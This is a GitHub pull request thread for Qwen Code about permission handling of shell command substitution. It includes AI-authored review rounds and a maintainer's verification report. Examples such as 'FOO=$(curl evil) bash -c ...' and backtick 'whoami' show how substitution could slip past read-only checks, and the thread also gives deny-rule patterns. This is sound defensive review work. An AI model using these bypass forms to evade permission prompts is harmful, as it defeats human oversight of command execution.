Non-diff observation (test coverage): packages/core/src/utils/shellReadOnlyChecker.ts:306 adds a pre-stripShellWrapper detectCommandSubstitution(segment) guard in the regex-fallback path (evaluateShellSegment), explicitly documented as a defense-in-depth lockstep with the AST path. shellReadOnlyChecker.test.ts was NOT touched by this PR, and no test case there exercises the env-prefix bypass scenario (FOO=$(curl evil) bash -c 'echo ok') through the regex-fallback entry point. The same scenario is covered end-to-end via ShellToolInvocation.getDefaultPermission in shell.test.ts, but that path goes through the AST first; the regex fallback only fires when isShellCommandReadOnlyAST throws or returns an unclassified node type. Adding an it('rejects env-prefix substitution inside a shell wrapper (regex fallback)', ...) case against isShellCommandReadOnly directly would lock in the regex-fallback contract — otherwise a future edit that re-orders the detectCommandSubstitution(segment) / stripShellWrapper(segment) lines at shellReadOnlyChecker.ts:306-311 would not fail any test in that file.
Other low-confidence / nice-to-have findings (terminal-only, not posted):
buildShellExecWarnings(shell-utils.ts:1249) callshasShellSubstitution(rawCommand) || detectCommandSubstitution(strippedCommand), but all current callers passstrippedCommand === stripShellWrapper(rawCommand), making the second disjunct provably redundant. Consider simplifying to a single-arg function or documenting whenstrippedCommand !== stripShellWrapper(rawCommand)is expected.hasShellSubstitution(shell-utils.ts:1234) has atypeof rawCommand !== 'string'guard that is inconsistent with the rest ofshell-utils.ts(callers all passstring); harmless but stylistically off-pattern.- The
debugLogger.warn('AST read-only check failed, falling back to ask:', e)catch blocks at shell.ts / monitor.ts / permission-manager.ts are effectively dead code (isShellCommandReadOnlyASTcatches internally and falls back to regex without rethrowing) — deferred to follow-up #4509 per round 3.
wenshao
reviewed
May 26, 2026
wenshao
left a comment
Collaborator
There was a problem hiding this comment.
Round 8 review (qwen3.7-max). Same commit as R7 (c6e130698). 2 new Suggestions on the surviving diff. CI all_pass 22/22; 639 tests pass across 4 PR-relevant suites (permission-manager 235, shell 202, monitor 73, shell-utils 129). Needs Human Review: (1) tree-sitter-bash misparses backtick command substitution inside parameter expansion forms (${VAR:-\whoami`}) — the AST produces a plain wordnode, notcommand_substitution, so containsCommandSubstitutionASTmisses it. This creates a narrow silent-execution path throughMonitorToolInvocationandPermissionManager.resolveDefaultPermission(neither has thehasShellSubstitutionpre-gate thatShellToolInvocationuses). Verified empirically in the worktree. Low confidence — the pattern is unusual andechoitself is harmless, butMonitor(FOO=$(curl evil) bash -c '...')or any command where the backtick output has side effects would auto-allow. (2) Stale(same logic as ShellToolInvocation.getDefaultPermission)comment at line 378 ofpermission-manager.ts` — pre-existing (not in diff), but the new JSDoc at line 399 makes the same claim with different wording. — qwen3.7-max via Qwen Code /review
Collaborator
Author
关于本 PR 的范围声明本 PR (#4386) 的唯一目标是修复 #4093:把 command substitution( 这是一个 bug fix PR,不是 refactor、不是 feature、也不是清理 PR。前几轮 review 让 PR 从一行核心改动膨胀到 ~850 LOC,这是不可接受的。已经在 本 PR 仅接受以下两类 review 反馈
以下类别的建议本 PR 一律不会处理(也不会单独开 follow-up issue / PR)
如果你认为以上某条建议确有必要,请单独开 issue 或 PR 跟进,不要塞进本 PR。 请 reviewer在提交本 PR 后续 review 之前,先明确本 PR 的目标是 #4093,然后只针对上面两类反馈提建议。所有跟 #4093 修复无关的建议会被一致 decline 并 resolve thread,不再单独解释每一条。 谢谢理解。 |
wenshao
reviewed
May 26, 2026
wenshao
left a comment
Collaborator
There was a problem hiding this comment.
Round 9 review (qwen3.7-max). Same commit as R8 (c6e130698). 1 new Suggestion on the surviving diff. CI all_pass 29/29; 639 tests pass across 4 PR-relevant suites (permission-manager 235, shell 202, monitor 73, shell-utils 129). Build green.
Note: git diff main...HEAD shows 31 files but gh pr diff shows 20 — the extra 11 (systemController, contextCommand, SDK timeout, etc.) are merge-base drift from main, not PR-author changes. This review only covers the 20 PR-scope files.
— qwen3.7-max via Qwen Code /review
wenshao
approved these changes
May 27, 2026
wenshao
left a comment
Collaborator
There was a problem hiding this comment.
No issues found. LGTM. ✅ — qwen3.7-max via Qwen Code /review
Collaborator
本地验证报告（maintainer review）把 PR head 直接 结论✅ 建议 MERGE。
§1. 验证矩阵
§2. R6 review 关键改动核对
§3. 直驱
|
| # | 场景 | 期望 | 实测 |
|---|---|---|---|
| 1 | standalone python3 -c "print($(echo hello))"（无规则） |
ask |
✅ |
| 2 | #4093 核心 regression — git status && python3 -c "print($(echo hello))" + allow: [Bash(git *)] |
ask（曾经 deny） |
✅ |
| 3 | backtick: echo `whoami` |
ask |
✅ |
| 4 | process substitution: diff <(ls /a) <(ls /b) |
ask |
✅ |
| 5 | deny precedence：rm -rf "$(pwd)/build" + deny: [Bash(rm *)] |
deny（仍优先） |
✅ |
| 6 | readonly: ls -la |
allow |
✅ |
| 7 | explicit ask rule: echo hello + ask: [Bash(echo *)] |
ask |
✅ |
| 8 | R6 env-prefix wrapper: hasShellSubstitution("FOO=$(curl evil) bash -c \"echo ok\"") |
true |
✅ |
| 9 | quoted body inside wrapper: hasShellSubstitution("bash -c 'echo $(cat secret)'") |
true |
✅ |
| 10 | buildShellExecWarnings() 用共享常量 |
返回 [COMMAND_SUBSTITUTION_WARNING] |
✅ |
| 11 | 同 #10 但 clean command | 返回 undefined（便于调用方跳过 assignment） |
✅ |
| 12 | 复合 substitution git status && python3 -c "print($(echo x))" + allow: [Bash(git *)] |
most-restrictive → ask |
✅ |
| 13 | PR 描述里的 deny escape hatch Bash(*$\(*)（带反斜杠转义） |
PR 写的是 deny，实测 ask |
|
| 14 | 可工作的 escape hatch Bash(*$(*)（无反斜杠） |
deny |
✅ |
| 15 | 可工作的 deny 在复合命令中仍胜过 allow | deny |
✅ |
| 16-19 | detectCommandSubstitution 覆盖 4 种形式（$(...) / `…` / <(...) / >(...)） |
4× true |
✅ |
18 PASS + 1 PASS-with-finding（#13 说明 PR 描述的 escape-hatch 例子语法有误差，不阻塞 fix）。
§4. 真 TUI（tmux 会话 pr4386 × npm run dev）
实际起 Qwen Code dev TUI，用 tmux send-keys 真键发指令，每一步都 tmux capture-pane 比对。截图见 /tmp/pr4386-screenshots/0[123]-*.txt。
| # | 模式 | 操作 | 期望 | 实测 |
|---|---|---|---|---|
| 1 | DEFAULT | 让 agent 通过 run_shell_command 跑 echo "$(date +%Y)" |
弹确认对话框，含 ⚠ Contains command substitution ($(...), backticks, <(...), or >(...)). 一行 |
✅ 见 01-confirmation-dialog-with-warning.txt：对话框完整渲染，⚠ 文案逐字对应 COMMAND_SUBSTITUTION_WARNING 常量；4 个 allow 选项可选 |
| 2 | YOLO | 同样让 agent 跑 echo "year is $(date +%Y)" |
直接执行（不再是修复前的 opaque deny） | ✅ 见 02-yolo-auto-executes-substitution.txt：✓ Shell echo "year is $(date +%Y)" → year is 2026，命令成功执行 |
| 3 | auto-accept-edits（shell 仍需确认） | R6 env-prefix wrapper bypass：FOO=$(date +%Y) bash -c "echo done" |
必须弹确认对话框 + 警告（修复前会因为 stripShellWrapper 把命令降级成 read-only echo done 而静默自动执行） |
✅ 见 03-env-prefix-wrapper-bypass-caught.txt：对话框正确显示原始 FOO=$(date +%Y) bash -c "echo done"（不是 stripped 后的 echo done），⚠ 警告照常 |
#3 是这次复跑里我最看重的一条。R6 review 提到的
FOO=$(curl evil) bash -c 'echo ok'实测路径 =stripShellWrapper同时丢 env-prefix + 拆 wrapper → 内层echo done在 AST 里是 read-only → 修复前自动放行（YOLO 路径里根本不会让用户看到 substitution 这件事发生）。shell.ts:1380的hasShellSubstitution(this.params.command)在 strip 之前先 gate 一下，完美闭合这个 bypass。
§5. PR 描述里的小文档误差（不阻塞）
PR 描述在 "Main risk or tradeoff" 段写：
Mitigation: anyone wanting hard-deny behavior can write an explicit
permissions.denyrule (e.g.Bash(*$\(*)), which the PR explicitly preserves over the new'ask'default.
实测 Bash(*$\(*)（带反斜杠）不会 match，因为 rule 解析器不把 \ 当转义。正确语法是 Bash(*$(*)（直接写字面 $(，外层 Bash(...) 包装的 specifier 内部允许 (）。
rule="Bash(*$\(*)" → ask ← PR 描述里的例子（错的）
rule="Bash(*$(*)" → deny ← 实际可工作的 escape hatch
rule="Bash(*$(echo*)" → deny
建议作者在 description / docs 里把那个反斜杠去掉。fix 本身没问题 —— escape hatch 还在，只是 PR 文档写的例子要更正。
§6. 代码评审要点
- 核心 fix 一行级：
PermissionManager.resolveDefaultPermission()移除if (detectCommandSubstitution) return 'deny'一个分支 + 返回类型收窄 + JSDoc 解释「为什么不在这里 deny」。最小手术。 - 关键洞察：原来 deny 的不一致根因是
'default'→resolveDefaultPermission()的入口受hasRelevantRules()把守。standalone 命令因为没规则就完全绕过 PM，走 ShellTool 自己的getDefaultPermission()（不在那一层 deny） → ask；compound 命令因为有Bash(git *)allow 让hasRelevantRules()返回 true → 进入 PM → 撞到 substitution-deny → deny。同一个 substitution，相反结论，纯粹是其它无关规则的存在与否决定的。修这一行就把"是否触发 deny"从"有没有别的规则"解耦了。 getDefaultPermission()在stripShellWrapper之前 gate（R6）：这条非常聪明。stripShellWrapper服务的是「让bash -c "git status"能被Bash(git *)allow 规则匹配」，但它会同时丢 env-prefix。结果就是FOO=$(curl evil) bash -c 'echo ok'被降级到内层echo ok→ readonly → 自动跑。新代码在 strip 之前用hasShellSubstitution(raw)先看一眼，完全不影响 allow-rule matching 正常路径（match 还是用 stripped form），但闭合了这条 ghost path。- 共享
COMMAND_SUBSTITUTION_WARNING常量：文案不会在 shell.ts / monitor.ts / PM 三处漂移。审稿人也只需要 grep 一处验证文案。这是 R3 review 提的，被采纳得很干净。 buildShellExecWarnings()用 dual-check：检测语义统一在一个 helper 里。shell.ts/monitor.ts两处的 confirmation 渲染都通过它，PM 的 audit gate 也通过它（虽然 audit-log 已 revert，但 dual-check predicate 留下来 —— 仍是getDefaultPermission()入口的拦截判据）。修一处生效全局。- AST
evaluateStatementReadOnly顶部加containsCommandSubstitutionASTguard（R4）：之前variable_assignment/redirected_statement节点有 substitution-detection blind spot；现在把 substitution 当作"任何节点都不可能 read-only"的硬约束放在顶层，每条 node-type 路径自动继承。属于纵深防御 —— 即使hasShellSubstitution(raw)失手，AST 层还会兜住。 ToolExecuteConfirmationDetails.warnings?: string[]字段：source-compatible（optional），ACP / IDE companion 可以自行选择是否渲染。这次只 wire 进了 CLI host，符合 "scope 不外延" 的克制。- 测试覆盖：5 个
command substitution (issue #4093)用例在 permission-manager.test.ts；4 个command substitution warning (issue #4093)用例在 shell.test.ts；2 个 render 用例在 ToolConfirmationMessage.test.tsx。每一个都对应一个具体场景，可读性好。
§7. 风险与遗留
- ✅ 行为变更已在 PR 描述里讲清楚：substitution 命令现在会"问一声"而不是 deny；YOLO 模式下会执行。这是 deliberate trade-off，PR 也提供了 escape hatch（
Bash(*$(*)规则）。 - ✅ deny 优先级保留：场景 TypeError in Authentication Selection Interface #5 实测验证
Bash(rm *)优先于 substitution-ask 默认。 - ✅ 没有触及
shell-utils.ts checkCommandPermissions：那个路径是!{…}slash-command 注入防御，跟 agent-tool 路径不同，PR 在描述里明确划线。 ⚠️ scope 噪音：6 个文件（directoryCommand.tsx/useCommandCompletion.tsx/useCommandCompletion.test.ts/useSlashCompletion.test.ts/dashscope.ts/directoryCommand.test.tsx）是纯 prettier 格式化变动（多个换行、单行折多行），零行为变更。看起来是某次prettier --write .顺带提交进来的。不阻塞但建议下次拆出去。⚠️ PR 描述里Bash(*$\(*)例子语法错误（§5）。fix 本体没问题，建议修正描述。⚠️ 仅 macOS arm64 本机覆盖；CI 已在 macos / ubuntu / windows 三平台 SUCCESS。- ✅ 没有 hostess 接触：不修
core/之外的核心数据结构、不动 settings schema、不引新依赖。
验证环境：macOS Darwin 25.4.0 arm64，Node v22.17.0；tmux 会话 pr4386（140×50）；merged worktree /private/tmp/pr4386-merged（branch pr-4386-test = PR head c6e130698 + git merge origin/main，merge commit f577361dd）；driver realio-permission.mjs 19 assertion + 3 个真 TUI 场景全绿。— wenshao
pomelo-nwu
approved these changes
May 27, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
PermissionManager.resolveDefaultPermissionno longer returns'deny'for commands containing shell command substitution ($(), backticks,<(),>()). Substitution-bearing commands now fall through to'ask'along with every other non-read-only command. The CLI confirmation dialog gains awarningsfield that surfaces a "Contains command substitution …" line (mirroring Claude Code's UX).python3 -c "print($(echo hello))"got'ask'(PM skipped becausehasRelevantRules()returned false), but the samepython3sub-command insideecho hello && python3 -c "…"was hard-denied (becauseecho hellomatched an unrelated allow rule, flippinghasRelevantRules()to true and exposing the substitution toresolveDefaultPermission). Same substitution, opposite verdict, purely a function of which unrelated rules were loaded.packages/core/src/permissions/permission-manager.ts— the actual one-branch removal.shell-utils.ts checkCommandPermissionsstill hard-denies substitution. That is intentional and belongs to a different path (!{…}shell injections in user-authored slash commands, viacli/services/prompt-processors/shellProcessor.ts) where the deny is a prompt-injection defense, not the agent-tool path Bug: Command substitution denial is inconsistently applied and opaque #4093 describes.Historical context
This is the surviving half of a two-step migration:
detectCommandSubstitutionand used it as a hard deny inisCommandAllowed.dd518de5b 'fix(acp): align permission flow across clients'(2026-03-26) — moved the deny into the newresolveDefaultPermissionduring the L3/L4/L5 refactor, keeping the'deny'semantics.fb7e30ad3 'fix(shell): remove command substitution deny check from getDefaultPermission'(2026-03-30) — removed the L3 deny but missed the symmetric L4 mirror inresolveDefaultPermission. This PR completes that cleanup.Validation
permission-manager.test.tsshell.test.tstools.test.ts```
⚠ Contains command substitution ($(...), backticks, <(...), or >(...)).
```
This mirrors Claude Code's "Contains command_substitution" hint from the issue thread.
Scope / Risk
Testing Matrix
Testing matrix notes:
Linked Issues / Bugs
Fixes #4093